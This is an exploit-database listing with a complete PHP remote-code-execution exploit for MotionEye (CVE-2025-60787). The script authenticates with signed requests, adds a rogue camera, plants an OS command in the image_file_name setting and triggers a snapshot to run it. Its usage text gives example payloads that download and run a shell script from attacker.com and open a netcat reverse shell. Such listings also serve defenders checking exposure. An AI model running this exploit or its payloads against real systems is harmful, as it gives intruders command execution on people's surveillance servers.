Share
## https://sploitus.com/exploit?id=PACKETSTORM:214899
=============================================================================================================================================
| # Title : MotionEye Frontend 0.43.1b4 RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/motioneye-project/motioneye |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/210394/ & CVE-2025-60787
[+] Summary : Command Injection in Configuration Files - Unsanitized user input in the image_file_name parameter
allows authenticated attackers to inject OS commands via $(command) syntax, leading to remote code execution.
[+] POC :
php motioneye_rce.php check https://target-motioneye.local
php motioneye_rce.php check https://192.168.1.100 admin password123
<?php
class MotionEyeRCE {
private $target;
private $username;
private $password;
private $uri;
private $cookies;
private $timeout = 30;
private $verify_ssl = false;
private $camera_id;
public function __construct($target, $username = 'admin', $password = '') {
$this->target = rtrim($target, '/');
$this->username = $username;
$this->password = $password;
$this->cookies = [];
$this->camera_id = null;
}
/**
* Clean string according to MotionEye's canonicalization rules
*/
private function clean_string($data) {
if ($data === null) {
return '';
}
if (!is_string($data)) {
$data = (string)$data;
}
// Regex from MotionEye source code
$signature_regex = '/[^A-Za-z0-9\/?_.=&{}\[\]":, -]/';
return preg_replace($signature_regex, '-', $data);
}
/**
* Compute SHA1 signature for MotionEye requests
*/
private function compute_signature($method, $path, $body = null, $key = '') {
// Parse URL
$parsed = parse_url($path);
$path_only = $parsed['path'] ?? '';
$query_str = $parsed['query'] ?? '';
// Parse query parameters
$query_params = [];
if ($query_str) {
parse_str($query_str, $query_params);
}
// Remove _signature parameter
unset($query_params['_signature']);
// Sort parameters alphabetically
ksort($query_params);
// Build canonical query string
$canonical_query = '';
foreach ($query_params as $k => $v) {
if ($canonical_query !== '') {
$canonical_query .= '&';
}
$canonical_query .= $k . '=' . rawurlencode($v);
}
// Build canonical path
$canonical_path = $path_only;
if ($canonical_query !== '') {
$canonical_path .= '?' . $canonical_query;
}
// Clean path and body
$cleaned_path = $this->clean_string($canonical_path);
$cleaned_body = $this->clean_string($body);
// Compute key hash
$key_hash = strtolower(sha1($key));
// Build data to hash
$data = $method . ':' . $cleaned_path . ':' . $cleaned_body . ':' . $key_hash;
return strtolower(sha1($data));
}
/**
* Generate timestamp in milliseconds
*/
private function generate_timestamp_ms() {
return (int)(microtime(true) * 1000);
}
/**
* Send HTTP request with MotionEye signature
*/
private function send_signed_request($method, $path, $data = null, $headers = []) {
$url = $this->target . $path;
// Add required GET parameters
$get_params = [
'_username' => $this->username,
'_' => $this->generate_timestamp_ms()
];
// Parse existing query string if present
$parsed = parse_url($url);
$base_url = $parsed['scheme'] . '://' . $parsed['host'] . ($parsed['port'] ? ':' . $parsed['port'] : '') . $parsed['path'];
$existing_query = [];
if (isset($parsed['query'])) {
parse_str($parsed['query'], $existing_query);
$get_params = array_merge($get_params, $existing_query);
}
// Build query string
$query_str = http_build_query($get_params);
$path_with_query = $parsed['path'] . '?' . $query_str;
// Compute signature
$signature = $this->compute_signature(
strtoupper($method),
$path_with_query,
$data,
$this->password
);
// Add signature to query parameters
$get_params['_signature'] = $signature;
$query_str = http_build_query($get_params);
// Build final URL
$final_url = $base_url . '?' . $query_str;
// Prepare request
$ch = curl_init();
$options = [
CURLOPT_URL => $final_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5,
CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0,
CURLOPT_HEADER => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
CURLOPT_HTTPHEADER => array_merge([
'Accept: application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: en-US,en;q=0.5',
'Connection: close'
], $headers)
];
if (strtoupper($method) === 'POST') {
$options[CURLOPT_POST] = true;
if ($data !== null) {
$options[CURLOPT_POSTFIELDS] = $data;
// Detect content type
if (is_array($data)) {
$options[CURLOPT_POSTFIELDS] = http_build_query($data);
$options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/x-www-form-urlencoded';
} else {
$options[CURLOPT_POSTFIELDS] = $data;
if (json_decode($data) !== null) {
$options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/json';
}
}
}
}
// Add cookies if any
if (!empty($this->cookies)) {
$cookie_str = '';
foreach ($this->cookies as $name => $value) {
$cookie_str .= $name . '=' . $value . '; ';
}
$options[CURLOPT_COOKIE] = rtrim($cookie_str, '; ');
}
curl_setopt_array($ch, $options);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$error = curl_error($ch);
curl_close($ch);
if ($response === false) {
throw new Exception("cURL error: " . $error);
}
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);
// Extract and store cookies
preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $headers, $matches);
foreach ($matches[1] as $cookie) {
$parts = explode('=', $cookie, 2);
if (count($parts) == 2) {
$this->cookies[$parts[0]] = $parts[1];
}
}
return [
'code' => $http_code,
'headers' => $headers,
'body' => $body
];
}
/**
* Check if target is vulnerable
*/
public function check() {
try {
$ch = curl_init($this->target);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
return ['vulnerable' => false, 'message' => 'Target not reachable or not MotionEye'];
}
// Look for motionEye version
if (preg_match('/motionEye Version.*?<span[^>]*>([^<]+)</', $response, $matches)) {
$version = trim($matches[1]);
$clean_version = preg_replace('/[a-zA-Z]/', '', $version);
if (version_compare($clean_version, '0.43.15', '<')) {
return [
'vulnerable' => true,
'message' => "Vulnerable version detected: $version",
'version' => $version
];
} else {
return [
'vulnerable' => 'unknown',
'message' => "Newer version detected: $version. Check release notes.",
'version' => $version
];
}
}
return ['vulnerable' => false, 'message' => 'MotionEye version not found'];
} catch (Exception $e) {
return ['vulnerable' => false, 'message' => 'Error: ' . $e->getMessage()];
}
}
/**
* Add a camera to MotionEye
*/
private function add_camera() {
echo "[+] Adding malicious camera...\n";
$data = json_encode([
'scheme' => 'rstp',
'host' => $this->generate_ip(),
'port' => '',
'path' => '/',
'username' => '',
'proto' => 'netcam'
]);
$response = $this->send_signed_request(
'POST',
'/config/add/',
$data,
['Content-Type: application/json']
);
if ($response['code'] !== 200) {
throw new Exception("Failed to add camera. HTTP {$response['code']}");
}
$json = json_decode($response['body'], true);
if (!$json || !isset($json['id'])) {
throw new Exception("Invalid response when adding camera");
}
$this->camera_id = $json['id'];
echo "[+] Camera added successfully (ID: {$this->camera_id})\n";
return $this->camera_id;
}
/**
* Configure camera with payload
*/
private function configure_camera($payload) {
echo "[+] Configuring camera with payload...\n";
$camera_name = 'cam_' . bin2hex(random_bytes(4));
$config = [
'enabled' => true,
'name' => $camera_name,
'proto' => 'netcam',
'auto_brightness' => false,
'rotation' => [0, 90, 180, 270][rand(0, 3)],
'framerate' => rand(2, 30),
'privacy_mask' => false,
'storage_device' => 'custom-path',
'root_directory' => "/var/lib/motioneye/{$camera_name}",
'upload_enabled' => false,
'upload_picture' => false,
'upload_movie' => false,
'upload_service' => ['ftp', 'sftp', 'webdav'][rand(0, 2)],
'upload_method' => ['post', 'put'][rand(0, 1)],
'upload_subfolders' => false,
'web_hook_storage_enabled' => false,
'command_storage_enabled' => false,
'text_overlay' => false,
'text_scale' => rand(1, 3),
'video_streaming' => false,
'streaming_framerate' => rand(5, 30),
'streaming_quality' => rand(50, 95),
'streaming_resolution' => rand(50, 95),
'streaming_server_resize' => false,
'streaming_port' => '9081',
'streaming_auth_mode' => 'disabled',
'streaming_motion' => false,
'still_images' => true,
'image_file_name' => "$({$payload})", // Payload injection point
'image_quality' => rand(50, 95),
'capture_mode' => 'manual',
'preserve_pictures' => '0',
'manual_snapshots' => true,
'movies' => false,
'movie_file_name' => '%Y-%m-%d/%H-%M-%S',
'movie_quality' => rand(50, 95),
'movie_format' => 'mp4 => h264_v4l2m2m',
'movie_passthrough' => false,
'recording_mode' => 'motion-triggered',
'max_movie_length' => '0',
'preserve_movies' => '0',
'motion_detection' => false,
'frame_change_threshold' => '0.' . rand(1000000000000000, 9999999999999999),
'max_frame_change_threshold' => rand(0, 1),
'auto_threshold_tuning' => false,
'auto_noise_detect' => false,
'noise_level' => rand(10, 32),
'light_switch_detect' => '0',
'despeckle_filter' => false,
'event_gap' => rand(5, 30),
'pre_capture' => rand(1, 5),
'post_capture' => rand(1, 5),
'minimum_motion_frames' => rand(20, 30),
'motion_mask' => false,
'show_frame_changes' => false,
'create_debug_media' => false,
'email_notifications_enabled' => false,
'telegram_notifications_enabled' => false,
'web_hook_notifications_enabled' => false,
'web_hook_end_notifications_enabled' => false,
'command_notifications_enabled' => false,
'command_end_notifications_enabled' => false,
'working_schedule' => false,
'resolution' => ['320x240', '640x480', '1280x720'][rand(0, 2)]
];
$data = json_encode([$this->camera_id => $config]);
$response = $this->send_signed_request(
'POST',
'/config/0/set/',
$data,
['Content-Type: application/json']
);
if ($response['code'] !== 200) {
throw new Exception("Failed to configure camera. HTTP {$response['code']}");
}
echo "[+] Camera configured with payload\n";
}
/**
* Trigger the exploit by taking a snapshot
*/
private function trigger_exploit() {
echo "[+] Triggering exploit...\n";
$response = $this->send_signed_request(
'POST',
"/action/{$this->camera_id}/snapshot/",
'null',
['Content-Type: application/json']
);
if ($response['code'] !== 200) {
throw new Exception("Failed to trigger exploit. HTTP {$response['code']}");
}
echo "[+] Exploit triggered\n";
}
/**
* Remove the camera
*/
private function remove_camera() {
if (!$this->camera_id) {
return;
}
echo "[+] Removing camera...\n";
try {
$response = $this->send_signed_request(
'POST',
"/config/{$this->camera_id}/rem/",
'null',
['Content-Type: application/json']
);
if ($response['code'] === 200) {
echo "[+] Camera removed successfully\n";
}
} catch (Exception $e) {
echo "[-] Error removing camera: " . $e->getMessage() . "\n";
}
$this->camera_id = null;
}
/**
* Generate random IP address
*/
private function generate_ip() {
return rand(1, 254) . '.' . rand(0, 254) . '.' . rand(0, 254) . '.' . rand(1, 254);
}
/**
* Execute exploit
*/
public function exploit($payload) {
try {
// Check target first
$check = $this->check();
if (!$check['vulnerable']) {
echo "[-] Target appears not to be vulnerable: " . $check['message'] . "\n";
return false;
}
echo "[+] Target appears to be vulnerable\n";
// Add camera
$this->add_camera();
// Configure with payload
$this->configure_camera($payload);
// Trigger exploit
$this->trigger_exploit();
echo "[+] Exploit completed. Check for callback.\n";
return true;
} catch (Exception $e) {
echo "[-] Exploit failed: " . $e->getMessage() . "\n";
// Clean up
$this->remove_camera();
return false;
}
}
/**
* Clean up resources
*/
public function cleanup() {
$this->remove_camera();
}
public function __destruct() {
$this->cleanup();
}
}
/**
* Command-line interface
*/
if (php_sapi_name() === 'cli') {
if ($argc < 2) {
echo "MotionEye RCE Exploit (CVE-2025-60787)\n";
echo "Usage:\n";
echo " php {$argv[0]} check <url> [username] [password]\n";
echo " php {$argv[0]} exploit <url> <payload> [username] [password]\n";
echo "\nExamples:\n";
echo " php {$argv[0]} check https://192.168.1.100\n";
echo " php {$argv[0]} exploit https://192.168.1.100 'curl http://attacker.com/shell.sh|sh'\n";
echo " php {$argv[0]} exploit https://192.168.1.100 'nc -e /bin/bash 192.168.1.50 4444' admin password123\n";
exit(1);
}
$command = $argv[1];
$url = $argv[2] ?? '';
if ($command === 'check') {
$username = $argv[3] ?? 'admin';
$password = $argv[4] ?? '';
$exploit = new MotionEyeRCE($url, $username, $password);
$result = $exploit->check();
echo "Target: $url\n";
echo "Status: " . $result['message'] . "\n";
if (isset($result['version'])) {
echo "Version: " . $result['version'] . "\n";
}
} elseif ($command === 'exploit') {
$payload = $argv[3] ?? '';
$username = $argv[4] ?? 'admin';
$password = $argv[5] ?? '';
if (!$payload) {
echo "[-] Payload required for exploit command\n";
exit(1);
}
$exploit = new MotionEyeRCE($url, $username, $password);
$exploit->exploit($payload);
} else {
echo "[-] Unknown command: $command\n";
exit(1);
}
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================